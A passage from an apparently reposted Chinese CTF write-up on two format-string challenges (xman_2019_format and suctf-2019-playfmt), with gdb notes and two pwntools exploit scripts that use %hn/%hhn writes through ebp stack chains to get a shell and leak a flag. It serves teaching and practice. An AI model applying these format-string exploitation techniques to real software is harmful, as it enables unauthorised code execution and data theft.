(這個題自己在做的時候,先是試著利用第二個的0xffffd2f8 ,這個鏈發現本地可以打通,遠程是不行的,這就是環境因素了,遠程由于libc版本的不同,棧結構也是不同的。所以做題還是優先,考慮ebp鏈,然后沒法利用了,在考慮充分利用棧數據,這個通常也是出題人精心設計的棧結構,讓你有數據可以利用。)
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
system_addr = 0x080485B4
tag1 = 0x4c
tag2 = 0x85ab
io = process('./xman_2019_format')
# io = remote('node3.buuoj.cn',27012)
payload = '%{}c%10$hhn|'.format(0x4c)
payload += '%{}c%18$hn~'.format(0x85ab)
while True:
try:
io.recvuntil('...\n...\n')
io.sendline(payload)
sleep(0.1)
io.recvuntil('~')
io.sendline('ls')
io.recvline()
io.recvline()
io.interactive()
break
except EOFError :
io.close()
io = process('./xman_2019_format')
# io = remote('node3.buuoj.cn',27012)
需要爆破棧。
suctf-2019-playfmt
保護和arch
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
開啟了RELRO,這樣就無法got hijack了
ida分析
gdb分析
程序先讀入了flag文件,自己可以寫一個flag文件測試,并且gdb跟隨:
其會被讀到堆上。緊接著跟到格式化字符串漏洞處:
看一下這個堆地址是否被程序操作修改了:
gdb-peda$ x/s 0x8050b70
0x8050b70: "flag{f9255a80-e059-4c12-8788-161bf8c6908b}"
發現并沒有,那就很簡單了。攻擊思路就是,在棧上構造出這個存放flag的堆地址(計算方式就是在此時的棧上找一個地址來計算偏移獲取)。
第一步:
先修改ebp2上存放的值,改成后面那個框框對應的棧地址,然后在做處理:
0024| 0xffffd318 --> 0xffffd338 --> 0xffffd348 --> 0x8050ba0 --> 0x0
此時再修改ebp1上的值,改成剛剛的堆地址 :
這樣exp寫的時候,找好偏移%s一下就出來了。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = remote('node3.buuoj.cn',27816)
io = process('./1')
io.recvuntil('Magic echo Server')
io.recvuntil('=====================\n')
io.sendline('%18$p')
io.recvuntil('0x')
flag = int(io.recv(8),16)
print(hex(flag))
key = int((hex(flag))[-4:],16) - 32 -12 -4
print('key'+ hex(key))
# raw_input('->')
io.sendline('%6$p')
io.recvuntil('0x')
stack_point = int(io.recv(8),16) + 16
tag1 = int((hex(stack_point))[-2:],16)
print(hex(tag1))
payload = '%' + str(tag1) + 'c%6$hhn' + '1'
raw_input('->')
io.sendline(payload)
io.recvuntil('1')
payload = '%' + str(key & 0xffff) + 'c%14$hn' + '2'
raw_input('->')
io.sendline(payload)
io.recvuntil('2')
io.sendline('%18$s')
io.interactive()
總結
以上是生活随笔為你收集整理的c语言格式化字符漏洞,格式化字符串漏洞题目练习的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 入栈和出栈c语言源程序,用c语言可执行文
- 下一篇: 2016二级c语言笔试内容,2016年计